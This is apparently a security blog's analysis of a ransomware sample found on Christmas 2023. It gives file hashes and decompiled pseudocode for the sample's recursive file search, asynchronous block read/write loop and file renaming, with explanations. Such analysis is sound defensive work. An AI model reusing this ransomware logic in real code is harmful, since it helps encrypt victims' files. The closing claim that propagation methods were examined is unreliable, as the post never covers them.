This ransomware was discovered on Christmas Day 2023. It is a program written with Microsoft Visual C/C++ using Visual Studio (2012).

Sample Information

Information Valeur
Analysis date December 25, 2023 at 12:09:11
OS Windows 10 Professional (build: 19044, 64 bit)
Tags ransomware
MIME application/x-dosexec
File info PE32 executable (console) Intel 80386, for MS Windows
MD5 85A3936612C12269B47F33930F990E8A
SHA256 189EB8CF2EF8043E6438A8618710A07A7C020E77D6BCDD2D561BC50E073BCD83

Analyze

Virtual Alloc

virtualalloc

This code snippet is setting up a call to the VirtualAlloc Windows API function to reserve and commit a memory region of 65534 bytes (64 KB minus 2 bytes) with read and write access permissions. It does not specify a preferred address for this allocation, thereby letting the system determine where to place the memory within the process’s virtual address space. The register operations in the code appear to be preparing or cleaning up values for future computations or function calls, but their exact purpose is unclear without additional context.

Looking for files

WCHAR *__thiscall sub_401E80(void *this)
{
  WCHAR *result; // eax
  WCHAR *v3; // esi
  HANDLE FirstFileW; // ebx
  struct _WIN32_FIND_DATAW FindFileData; // [esp+10h] [ebp-258h] BYREF

  result = (WCHAR *)VirtualAlloc(0, 0xFFFEu, 0x3000u, 4u);
  v3 = result;
  if ( result )
  {
    sub_401480(result, 0x7FFF, L"%s\\*", this);
    FirstFileW = FindFirstFileW(v3, &FindFileData);
    if ( FirstFileW != (HANDLE)-1 )
    {
      do
      {
        sub_401480(v3, 0x7FFF, L"%s\\%s", this, FindFileData.cFileName);
        if ( (FindFileData.dwFileAttributes & 0x10) != 0 && sub_401FD0(FindFileData.cFileName) )
        {
          if ( lstrcmpW(FindFileData.cFileName, L"..") )
          {
            if ( lstrcmpW(FindFileData.cFileName, L".") )
              sub_401E80(v3);
          }
        }
        else if ( sub_401FD0(FindFileData.cFileName) )
        {
          if ( (FindFileData.dwFileAttributes & 1) != 0 )
            SetFileAttributesW(v3, FindFileData.dwFileAttributes & 0xFFFFFFFE);
          sub_401CB0(v3);
        }
      }
      while ( FindNextFileW(FirstFileW, &FindFileData) );
      FindClose(FirstFileW);
    }
    return (WCHAR *)VirtualFree(v3, 0, 0x8000u);
  }
  return result;
}

The malware then begins searching for files using the FindFirstFileW API. There is a recursive search with FindNextFileW until it encounters a special directory such as ‘.’ or ‘..’.

Here is the list of files that will not be scanned :

exclude-directory

File infection process

When he finds a file, he will first check if he can open the file; otherwise, he exits the procedure.

openfile

There will be a check of the file size. If the file size is NULL, he closes the file. Otherwise, he will attempt to create an I/O completion port. If he fails, he will also close the file.

getfilesize

crypt-file-from-procmon

Here it the C/C++ code from IDA :

void __stdcall __noreturn StartAddress(LPVOID lpThreadParameter)
{
  BOOL QueuedCompletionStatus; // esi
  LPOVERLAPPED v2; // ecx
  HANDLE *v3; // esi
  ULONG_PTR Internal; // eax
  DWORD OffsetHigh; // esi
  HANDLE *v6; // esi
  DWORD v7; // eax
  HANDLE *v8; // esi
  LPCWSTR *v9; // eax
  const WCHAR *v10; // ecx
  const WCHAR *v11; // eax
  LPCWSTR *v12; // [esp-4h] [ebp-68h]
  int v13; // [esp+0h] [ebp-64h]
  LPOVERLAPPED Overlapped; // [esp+14h] [ebp-50h] BYREF
  DWORD NumberOfBytesTransferred; // [esp+18h] [ebp-4Ch] BYREF
  unsigned int CompletionKey; // [esp+1Ch] [ebp-48h] BYREF
  LPCWSTR lpExistingFileName[5]; // [esp+20h] [ebp-44h] BYREF
  unsigned int v18; // [esp+34h] [ebp-30h]
  LPCWSTR lpNewFileName[5]; // [esp+38h] [ebp-2Ch] BYREF
  unsigned int v20; // [esp+4Ch] [ebp-18h]
  int v21; // [esp+60h] [ebp-4h]

  GetCurrentThreadId();
  sub_403BBB("ReadWritePoolThread(%u) starting...");
  while ( 1 )
  {
    do
      QueuedCompletionStatus = GetQueuedCompletionStatus(
                                 CompletionPort,
                                 &NumberOfBytesTransferred,
                                 &CompletionKey,
                                 &Overlapped,
                                 0x1388u);
    while ( !QueuedCompletionStatus && GetLastError() == 258 );
    v2 = Overlapped;
    if ( Overlapped )
    {
      sub_403BBB("IO Event %d, result=%d");
      v2 = Overlapped;
    }
    if ( QueuedCompletionStatus )
    {
      if ( v2 )
      {
        Internal = v2[3].Internal;
        if ( Internal )
        {
          switch ( Internal )
          {
            case 1u:
              v7 = v2[3].OffsetHigh << 20;
              v2[3].Internal = 0;
              v2->Offset = v7;
              v2->OffsetHigh = 0;
              if ( !(unsigned __int8)sub_401700(v2) )
              {
                GetLastError();
                sub_403BBB("ERROR: read next block %u");
                v8 = (HANDLE *)Overlapped;
                CancelIo(Overlapped[2].hEvent);
                CloseHandle(v8[14]);
                VirtualFree(v8[283], 0, 0x8000u);
                j__free(v8);
              }
              break;
            case 2u:
              sub_403BBB("Write block");
              if ( sub_4017D0(
                     Overlapped,
                     &Overlapped[47].Pointer + 1,
                     (union _OVERLAPPED::$742A73540840F318F86F9CEE3D494648)(unsigned int)Overlapped[28].hEvent,
                     0x80u,
                     3) )
              {
                sub_403BBB("Write block end");
              }
              else
              {
                GetLastError();
                sub_403BBB("ERROR: Write last block failed %u");
                sub_401890(Overlapped);
              }
              break;
            case 3u:
              sub_403BBB("Closing handle...");
              sub_402080(&Overlapped[56].hEvent);
              v21 = 0;
              v9 = lpExistingFileName;
              if ( v18 >= 8 )
                v9 = (LPCWSTR *)lpExistingFileName[0];
              v12 = v9;
              sub_403BBB("Path to file %S");
              sub_401890(Overlapped);
              sub_403BBB("Closed...");
              sub_402B90(v12, v13);
              sub_403BBB("Moving file...");
              v10 = (const WCHAR *)lpNewFileName;
              if ( v20 >= 8 )
                v10 = lpNewFileName[0];
              v11 = (const WCHAR *)lpExistingFileName;
              if ( v18 >= 8 )
                v11 = lpExistingFileName[0];
              MoveFileW(v11, v10);
              sub_403BBB("Move done");
              if ( v20 >= 8 )
                j__free((void *)lpNewFileName[0]);
              v21 = -1;
              v20 = 7;
              lpNewFileName[4] = 0;
              LOWORD(lpNewFileName[0]) = 0;
              if ( v18 >= 8 )
                j__free((void *)lpExistingFileName[0]);
              v18 = 7;
              lpExistingFileName[4] = 0;
              LOWORD(lpExistingFileName[0]) = 0;
              break;
            default:
              GetCurrentThreadId();
              sub_403BBB("(%u) ERROR: Unknown operation");
              break;
          }
        }
        else
        {
          OffsetHigh = v2[3].OffsetHigh;
          v2[3].OffsetHigh = OffsetHigh + 1;
          sub_401190(Overlapped[56].OffsetHigh, Overlapped[56].Offset);
          if ( !sub_4017D0(
                  Overlapped,
                  (void *)Overlapped[56].OffsetHigh,
                  (union _OVERLAPPED::$742A73540840F318F86F9CEE3D494648)(OffsetHigh << 20),
                  NumberOfBytesTransferred,
                  1) )
          {
            GetLastError();
            sub_403BBB("ERROR: Write current block %u");
            v6 = (HANDLE *)Overlapped;
            CancelIo(Overlapped[2].hEvent);
            CloseHandle(v6[14]);
            VirtualFree(v6[283], 0, 0x8000u);
            j__free(v6);
          }
        }
      }
    }
    else if ( v2
           || (GetLastError(),
               GetCurrentThreadId(),
               sub_403BBB("(%u) GetQueuedCompletionStatus() res=0, str=null, err=%u"),
               Overlapped) )
    {
      if ( GetLastError() == 38 )
      {
        sub_403BBB("Processing eof in iocp handler");
        Overlapped[3].Internal = 2;
        PostQueuedCompletionStatus(CompletionPort, 0, 0, Overlapped);
      }
      else
      {
        GetCurrentThreadId();
        sub_403BBB("(%u) ERROR: Unknown unhandled error, closing file.");
        v3 = (HANDLE *)Overlapped;
        CancelIo(Overlapped[2].hEvent);
        CloseHandle(v3[14]);
        VirtualFree(v3[283], 0, 0x8000u);
        j__free(v3);
      }
    }
  }
}

This C++ code is a function for managing threads in an asynchronous read/write pool using an “I/O Completion Port” (IOCP) on Windows. The StartAddress function is called by each thread in the pool. Here’s a summary of its operation:

  1. Initialization and Infinite Loop:

    • The function starts by obtaining the current thread’s ID and enters an infinite loop to process I/O events.
  2. Processing I/O Events:

    • Within the loop, GetQueuedCompletionStatus is called to wait for and retrieve the next completed I/O packet from the IOCP queue.
    • If a packet is retrieved, its processing depends on the type of I/O operation (read or write) indicated in the OVERLAPPED structure.
  3. Handling Cases:

    • Read (Internal = 1): If it’s a read operation, the code adjusts some fields in the OVERLAPPED structure and initiates a new read if necessary.
    • Write (Internal = 2): If it’s a write operation, the code performs actions related to writing the data.
    • Closing (Internal = 3): If it’s a closing operation, the code closes the file handle, moves the file if necessary, and frees resources.
  4. Error Handling:

    • The code handles various error situations, such as read or write errors, or an unknown error code.
    • It also deals with the case where GetQueuedCompletionStatus returns an error or an end-of-file (EOF).
  5. Cleanup and Resources:

    • After each operation, the code cleans up and frees allocated resources, such as file handles and allocated memory.

In summary, this function is a handler for asynchronous file read and write operations in a multi-threaded environment, using Windows IO Completion Ports for efficient I/O management.

The function sub_403BBB is used to display various results in the console, such as for example:

show-console

This code is to rename the infected file :

sub_403BBB("Moving file...");
v10 = (const WCHAR *)lpNewFileName;       // v10 = New filename
if ( v20 >= 8 )
  v10 = lpNewFileName[0];
v11 = (const WCHAR *)lpExistingFileName;
if ( v18 >= 8 )
  v11 = lpExistingFileName[0];
MoveFileW(v11, v10);
sub_403BBB("Move done");
  1. Logging Start of Operation: A message indicating the start of the file moving process is logged.

  2. Selecting File Paths: The code determines the paths of the source and destination files, choosing between different options based on the values of certain variables (v20 and v18).

  3. Executing the Move: The MoveFileW function is used to move the file from the source path to the destination path.

  4. Logging Completion of Operation: A message indicating the completion of the file move is logged.

rename-file

Here is a quick overview of the asynchronous file reading and writing function.

char __thiscall sub_401700(LPOVERLAPPED lpOverlapped)
{
  BOOL File; // eax
  DWORD LastError; // eax
  DWORD v5; // eax
  HANDLE v6; // [esp-10h] [ebp-18h]

  File = ReadFile(lpOverlapped[2].hEvent, (LPVOID)lpOverlapped[56].OffsetHigh, lpOverlapped[56].Offset, 0, lpOverlapped);
  if ( File )
  {
    if ( !File )
      goto LABEL_11;
    if ( GetLastError() )
      sub_403BBB((int)"Read file continue...");
    return 1;
  }
  if ( GetLastError() == 997 )
    return 1;
  if ( GetLastError() == 38 )
  {
    v6 = CompletionPort;
    lpOverlapped[3].Internal = 2;
    if ( PostQueuedCompletionStatus(v6, 0, 0, lpOverlapped) )
    {
      sub_403BBB((int)"EOF Sent");
      return 1;
    }
    else
    {
      LastError = GetLastError();
      sub_403BBB((int)"ERROR: post queued failed %d", LastError);
      return 0;
    }
  }
LABEL_11:
  if ( GetLastError() != 1784 && GetLastError() != 8 )
    GetLastError();
  v5 = GetLastError();
  sub_403BBB((int)"read_next_block(ReadFile) %u", v5);
  return 0;
}

char __fastcall sub_4017D0(
        LPOVERLAPPED lpOverlapped,
        void *Src,
        union _OVERLAPPED::$742A73540840F318F86F9CEE3D494648 a3,
        DWORD nNumberOfBytesToWrite,
        int a5)
{
  void *OffsetHigh; // [esp-Ch] [ebp-14h]

  lpOverlapped[3].Internal = a5;
  OffsetHigh = (void *)lpOverlapped[56].OffsetHigh;
  lpOverlapped->8 = a3;
  memmove_0(OffsetHigh, Src, nNumberOfBytesToWrite);
  if ( WriteFile(lpOverlapped[2].hEvent, (LPCVOID)lpOverlapped[56].OffsetHigh, nNumberOfBytesToWrite, 0, lpOverlapped) )
  {
    if ( GetLastError() )
      sub_403BBB("Write file continue...");
    else
      sub_403BBB("Success without 'pending'...");
    return 1;
  }
  else if ( GetLastError() == 997 )
  {
    sub_403BBB("Pending...");
    return 1;
  }
  else
  {
    if ( GetLastError() != 1784 && GetLastError() != 8 )
      GetLastError();
    GetLastError();
    sub_403BBB("ERROR: write_block(WriteFile) %u");
    return 0;
  }
}

About the error code :

  1. Error Code 997: This error code stands for ERROR_IO_PENDING, which indicates that an asynchronous I/O operation is not yet complete. This is a common status code for operations that are initiated and are expected to complete later, as the I/O request is still in progress. In the context of your code, when GetLastError() returns 997, it’s recognizing that an operation is still ongoing and not completed yet.

  2. Error Code 38: This error code corresponds to ERROR_HANDLE_EOF, which means “Reached the end of the file.” It is typically encountered in file handling operations when an attempt is made to go beyond the end of a file, or when a read operation reaches the end of a file.

Conclusion

In conclusion, the “Christmas Ransomware” illustrates the importance of strong cybersecurity in an era of advanced digital threats. This article examined the ransomware’s technical characteristics, propagation methods, and potential impacts, emphasizing the need for ongoing vigilance and regular security updates. Addressing such threats requires a combination of technology, awareness, and global collaboration.

I would also like to express my sincere thanks to the website any.run for providing access to the ransomware for analysis. Your contribution has been instrumental in this research.

Sponsored by logo any.run


<
Previous Post
Neshta Ransomware family
>
Next Post
Hydracrypt Ransomware